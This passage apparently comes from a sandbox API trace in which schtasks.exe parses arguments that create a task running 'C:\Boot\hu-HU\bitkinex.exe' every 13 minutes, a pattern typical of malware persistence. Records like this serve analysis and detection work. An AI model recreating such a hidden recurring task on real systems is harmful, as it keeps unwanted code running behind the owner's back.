_ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.915] lstrlenW (lpString="|rp|") returned 4 [0062.915] lstrlenW (lpString="|sc|") returned 4 [0062.915] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0062.915] SetLastError (dwErrCode=0x490) [0062.915] lstrlenW (lpString="sc") returned 2 [0062.915] lstrlenW (lpString="sc") returned 2 [0062.915] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.915] lstrlenW (lpString="sc") returned 2 [0062.915] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.915] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.915] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.915] lstrlenW (lpString="|sc|") returned 4 [0062.915] lstrlenW (lpString="|sc|") returned 4 [0062.915] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0062.915] SetLastError (dwErrCode=0x0) [0062.915] SetLastError (dwErrCode=0x0) [0062.915] lstrlenW (lpString="MINUTE") returned 6 [0062.915] lstrlenW (lpString="-/") returned 2 [0062.915] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0062.915] SetLastError (dwErrCode=0x490) [0062.916] SetLastError (dwErrCode=0x490) [0062.916] SetLastError (dwErrCode=0x0) [0062.916] lstrlenW (lpString="MINUTE") returned 6 [0062.916] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0062.916] SetLastError (dwErrCode=0x490) [0062.916] SetLastError (dwErrCode=0x0) [0062.916] GetProcessHeap () returned 0x320000 [0062.916] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33d670 [0062.916] _memicmp (_Buf1=0x33d670, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.916] lstrlenW (lpString="MINUTE") returned 6 [0062.916] GetProcessHeap () returned 0x320000 [0062.916] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xe) returned 0x33d690 [0062.916] lstrlenW (lpString="MINUTE") returned 6 [0062.916] lstrlenW (lpString=" \x09") returned 2 [0062.916] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0062.916] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0062.916] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0062.916] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0062.916] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0062.916] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0062.916] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0062.916] GetLastError () returned 0x0 [0062.916] lstrlenW (lpString="MINUTE") returned 6 [0062.916] lstrlenW (lpString="MINUTE") returned 6 [0062.916] SetLastError (dwErrCode=0x0) [0062.916] SetLastError (dwErrCode=0x0) [0062.916] lstrlenW (lpString="/mo") returned 3 [0062.916] lstrlenW (lpString="-/") returned 2 [0062.916] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.916] lstrlenW (lpString="create") returned 6 [0062.916] lstrlenW (lpString="create") returned 6 [0062.916] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.916] lstrlenW (lpString="mo") returned 2 [0062.916] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.917] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|create|") returned 8 [0062.917] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.917] lstrlenW (lpString="|create|") returned 8 [0062.917] lstrlenW (lpString="|mo|") returned 4 [0062.917] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0062.917] SetLastError (dwErrCode=0x490) [0062.917] lstrlenW (lpString="?") returned 1 [0062.917] lstrlenW (lpString="?") returned 1 [0062.917] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.917] lstrlenW (lpString="mo") returned 2 [0062.917] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.917] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|?|") returned 3 [0062.917] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.917] lstrlenW (lpString="|?|") returned 3 [0062.917] lstrlenW (lpString="|mo|") returned 4 [0062.917] SetLastError (dwErrCode=0x490) [0062.917] lstrlenW (lpString="s") returned 1 [0062.917] lstrlenW (lpString="s") returned 1 [0062.917] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.917] lstrlenW (lpString="mo") returned 2 [0062.917] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.917] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|s|") returned 3 [0062.917] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.917] lstrlenW (lpString="|s|") returned 3 [0062.917] lstrlenW (lpString="|mo|") returned 4 [0062.917] SetLastError (dwErrCode=0x490) [0062.917] lstrlenW (lpString="u") returned 1 [0062.917] lstrlenW (lpString="u") returned 1 [0062.917] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.917] lstrlenW (lpString="mo") returned 2 [0062.917] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.918] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|u|") returned 3 [0062.918] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.918] lstrlenW (lpString="|u|") returned 3 [0062.918] lstrlenW (lpString="|mo|") returned 4 [0062.918] SetLastError (dwErrCode=0x490) [0062.918] lstrlenW (lpString="p") returned 1 [0062.918] lstrlenW (lpString="p") returned 1 [0062.918] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.918] lstrlenW (lpString="mo") returned 2 [0062.918] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.918] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|p|") returned 3 [0062.918] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.918] lstrlenW (lpString="|p|") returned 3 [0062.918] lstrlenW (lpString="|mo|") returned 4 [0062.918] SetLastError (dwErrCode=0x490) [0062.918] lstrlenW (lpString="ru") returned 2 [0062.918] lstrlenW (lpString="ru") returned 2 [0062.918] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.918] lstrlenW (lpString="mo") returned 2 [0062.918] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.918] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ru|") returned 4 [0062.918] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.918] lstrlenW (lpString="|ru|") returned 4 [0062.918] lstrlenW (lpString="|mo|") returned 4 [0062.918] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0062.918] SetLastError (dwErrCode=0x490) [0062.918] lstrlenW (lpString="rp") returned 2 [0062.918] lstrlenW (lpString="rp") returned 2 [0062.918] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.918] lstrlenW (lpString="mo") returned 2 [0062.919] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.919] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rp|") returned 4 [0062.919] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.919] lstrlenW (lpString="|rp|") returned 4 [0062.919] lstrlenW (lpString="|mo|") returned 4 [0062.919] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0062.919] SetLastError (dwErrCode=0x490) [0062.919] lstrlenW (lpString="sc") returned 2 [0062.919] lstrlenW (lpString="sc") returned 2 [0062.919] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.919] lstrlenW (lpString="mo") returned 2 [0062.919] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.919] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.919] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.919] lstrlenW (lpString="|sc|") returned 4 [0062.919] lstrlenW (lpString="|mo|") returned 4 [0062.919] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0062.919] SetLastError (dwErrCode=0x490) [0062.919] lstrlenW (lpString="mo") returned 2 [0062.919] lstrlenW (lpString="mo") returned 2 [0062.919] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.919] lstrlenW (lpString="mo") returned 2 [0062.919] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.919] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.919] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.919] lstrlenW (lpString="|mo|") returned 4 [0062.919] lstrlenW (lpString="|mo|") returned 4 [0062.919] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0062.919] SetLastError (dwErrCode=0x0) [0062.919] SetLastError (dwErrCode=0x0) [0062.919] lstrlenW (lpString="13") returned 2 [0062.920] lstrlenW (lpString="-/") returned 2 [0062.920] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0062.920] SetLastError (dwErrCode=0x490) [0062.920] SetLastError (dwErrCode=0x490) [0062.920] SetLastError (dwErrCode=0x0) [0062.920] lstrlenW (lpString="13") returned 2 [0062.920] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0062.920] SetLastError (dwErrCode=0x490) [0062.920] SetLastError (dwErrCode=0x0) [0062.920] _memicmp (_Buf1=0x33d670, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.920] lstrlenW (lpString="13") returned 2 [0062.920] lstrlenW (lpString="13") returned 2 [0062.920] lstrlenW (lpString=" \x09") returned 2 [0062.920] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0062.920] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0062.920] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0062.920] GetLastError () returned 0x0 [0062.920] lstrlenW (lpString="13") returned 2 [0062.920] lstrlenW (lpString="13") returned 2 [0062.920] GetProcessHeap () returned 0x320000 [0062.920] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x6) returned 0x335520 [0062.920] SetLastError (dwErrCode=0x0) [0062.920] SetLastError (dwErrCode=0x0) [0062.920] lstrlenW (lpString="/tr") returned 3 [0062.920] lstrlenW (lpString="-/") returned 2 [0062.920] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.920] lstrlenW (lpString="create") returned 6 [0062.920] lstrlenW (lpString="create") returned 6 [0062.920] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.920] lstrlenW (lpString="tr") returned 2 [0062.920] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.920] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|create|") returned 8 [0062.921] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.921] lstrlenW (lpString="|create|") returned 8 [0062.921] lstrlenW (lpString="|tr|") returned 4 [0062.921] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0062.921] SetLastError (dwErrCode=0x490) [0062.921] lstrlenW (lpString="?") returned 1 [0062.921] lstrlenW (lpString="?") returned 1 [0062.921] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.921] lstrlenW (lpString="tr") returned 2 [0062.921] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.921] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|?|") returned 3 [0062.921] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.921] lstrlenW (lpString="|?|") returned 3 [0062.921] lstrlenW (lpString="|tr|") returned 4 [0062.921] SetLastError (dwErrCode=0x490) [0062.921] lstrlenW (lpString="s") returned 1 [0062.921] lstrlenW (lpString="s") returned 1 [0062.921] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.921] lstrlenW (lpString="tr") returned 2 [0062.921] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.921] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|s|") returned 3 [0062.921] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.921] lstrlenW (lpString="|s|") returned 3 [0062.921] lstrlenW (lpString="|tr|") returned 4 [0062.921] SetLastError (dwErrCode=0x490) [0062.921] lstrlenW (lpString="u") returned 1 [0062.921] lstrlenW (lpString="u") returned 1 [0062.921] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.921] lstrlenW (lpString="tr") returned 2 [0062.921] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.921] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|u|") returned 3 [0062.921] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.922] lstrlenW (lpString="|u|") returned 3 [0062.922] lstrlenW (lpString="|tr|") returned 4 [0062.922] SetLastError (dwErrCode=0x490) [0062.922] lstrlenW (lpString="p") returned 1 [0062.922] lstrlenW (lpString="p") returned 1 [0062.922] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.922] lstrlenW (lpString="tr") returned 2 [0062.922] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.922] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|p|") returned 3 [0062.922] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.922] lstrlenW (lpString="|p|") returned 3 [0062.922] lstrlenW (lpString="|tr|") returned 4 [0062.922] SetLastError (dwErrCode=0x490) [0062.922] lstrlenW (lpString="ru") returned 2 [0062.922] lstrlenW (lpString="ru") returned 2 [0062.922] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.922] lstrlenW (lpString="tr") returned 2 [0062.922] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.922] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|ru|") returned 4 [0062.922] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.922] lstrlenW (lpString="|ru|") returned 4 [0062.922] lstrlenW (lpString="|tr|") returned 4 [0062.922] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0062.922] SetLastError (dwErrCode=0x490) [0062.922] lstrlenW (lpString="rp") returned 2 [0062.922] lstrlenW (lpString="rp") returned 2 [0062.922] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.922] lstrlenW (lpString="tr") returned 2 [0062.922] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.928] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|rp|") returned 4 [0062.928] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.928] lstrlenW (lpString="|rp|") returned 4 [0062.928] lstrlenW (lpString="|tr|") returned 4 [0062.928] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0062.928] SetLastError (dwErrCode=0x490) [0062.928] lstrlenW (lpString="sc") returned 2 [0062.928] lstrlenW (lpString="sc") returned 2 [0062.928] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.928] lstrlenW (lpString="tr") returned 2 [0062.928] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.928] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|sc|") returned 4 [0062.928] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.928] lstrlenW (lpString="|sc|") returned 4 [0062.928] lstrlenW (lpString="|tr|") returned 4 [0062.928] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0062.928] SetLastError (dwErrCode=0x490) [0062.928] lstrlenW (lpString="mo") returned 2 [0062.928] lstrlenW (lpString="mo") returned 2 [0062.928] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.928] lstrlenW (lpString="tr") returned 2 [0062.929] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.929] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|mo|") returned 4 [0062.929] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.929] lstrlenW (lpString="|mo|") returned 4 [0062.929] lstrlenW (lpString="|tr|") returned 4 [0062.929] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0062.929] SetLastError (dwErrCode=0x490) [0062.929] lstrlenW (lpString="d") returned 1 [0062.929] lstrlenW (lpString="d") returned 1 [0062.929] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.929] lstrlenW (lpString="tr") returned 2 [0062.929] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.929] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|d|") returned 3 [0062.929] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.929] lstrlenW (lpString="|d|") returned 3 [0062.929] lstrlenW (lpString="|tr|") returned 4 [0062.929] SetLastError (dwErrCode=0x490) [0062.929] lstrlenW (lpString="m") returned 1 [0062.929] lstrlenW (lpString="m") returned 1 [0062.929] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.929] lstrlenW (lpString="tr") returned 2 [0062.929] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.929] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|m|") returned 3 [0062.929] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.929] lstrlenW (lpString="|m|") returned 3 [0062.929] lstrlenW (lpString="|tr|") returned 4 [0062.929] SetLastError (dwErrCode=0x490) [0062.929] lstrlenW (lpString="i") returned 1 [0062.929] lstrlenW (lpString="i") returned 1 [0062.929] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.929] lstrlenW (lpString="tr") returned 2 [0062.930] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.930] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|i|") returned 3 [0062.930] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.930] lstrlenW (lpString="|i|") returned 3 [0062.930] lstrlenW (lpString="|tr|") returned 4 [0062.930] SetLastError (dwErrCode=0x490) [0062.930] lstrlenW (lpString="tn") returned 2 [0062.930] lstrlenW (lpString="tn") returned 2 [0062.930] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.930] lstrlenW (lpString="tr") returned 2 [0062.930] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.930] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tn|") returned 4 [0062.930] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.930] lstrlenW (lpString="|tn|") returned 4 [0062.930] lstrlenW (lpString="|tr|") returned 4 [0062.930] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0062.930] SetLastError (dwErrCode=0x490) [0062.930] lstrlenW (lpString="tr") returned 2 [0062.930] lstrlenW (lpString="tr") returned 2 [0062.930] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.930] lstrlenW (lpString="tr") returned 2 [0062.930] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.930] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.930] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15c428 | out: _Buffer="|tr|") returned 4 [0062.930] lstrlenW (lpString="|tr|") returned 4 [0062.930] lstrlenW (lpString="|tr|") returned 4 [0062.930] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0062.930] SetLastError (dwErrCode=0x0) [0062.930] SetLastError (dwErrCode=0x0) [0062.930] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.931] lstrlenW (lpString="-/") returned 2 [0062.931] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0062.931] SetLastError (dwErrCode=0x490) [0062.931] SetLastError (dwErrCode=0x490) [0062.931] SetLastError (dwErrCode=0x0) [0062.931] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.931] StrChrIW (lpStart="'C:\\Boot\\hu-HU\\bitkinex.exe'", wMatch=0x3a) returned=":\\Boot\\hu-HU\\bitkinex.exe'" [0062.931] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.931] _memicmp (_Buf1=0x33c440, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.931] _memicmp (_Buf1=0x33d610, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.931] SetLastError (dwErrCode=0x7a) [0062.931] SetLastError (dwErrCode=0x0) [0062.931] SetLastError (dwErrCode=0x0) [0062.931] lstrlenW (lpString="'C") returned 2 [0062.931] lstrlenW (lpString="-/") returned 2 [0062.931] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0062.931] SetLastError (dwErrCode=0x490) [0062.931] SetLastError (dwErrCode=0x490) [0062.931] SetLastError (dwErrCode=0x0) [0062.931] _memicmp (_Buf1=0x33d670, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.931] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.931] GetProcessHeap () returned 0x320000 [0062.931] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d690) returned 1 [0062.931] GetProcessHeap () returned 0x320000 [0062.931] RtlReAllocateHeap (Heap=0x320000, Flags=0xc, Ptr=0x33d690, Size=0x3a) returned 0x339440 [0062.931] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.931] lstrlenW (lpString=" \x09") returned 2 [0062.931] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0062.931] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0062.931] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0062.931] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0062.931] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0062.931] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0062.931] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0062.931] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0062.932] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0062.932] GetLastError () returned 0x0 [0062.932] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.932] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.932] SetLastError (dwErrCode=0x0) [0062.932] SetLastError (dwErrCode=0x0) [0062.932] lstrlenW (lpString="/rl") returned 3 [0062.932] lstrlenW (lpString="-/") returned 2 [0062.932] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.932] lstrlenW (lpString="create") returned 6 [0062.932] lstrlenW (lpString="create") returned 6 [0062.932] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 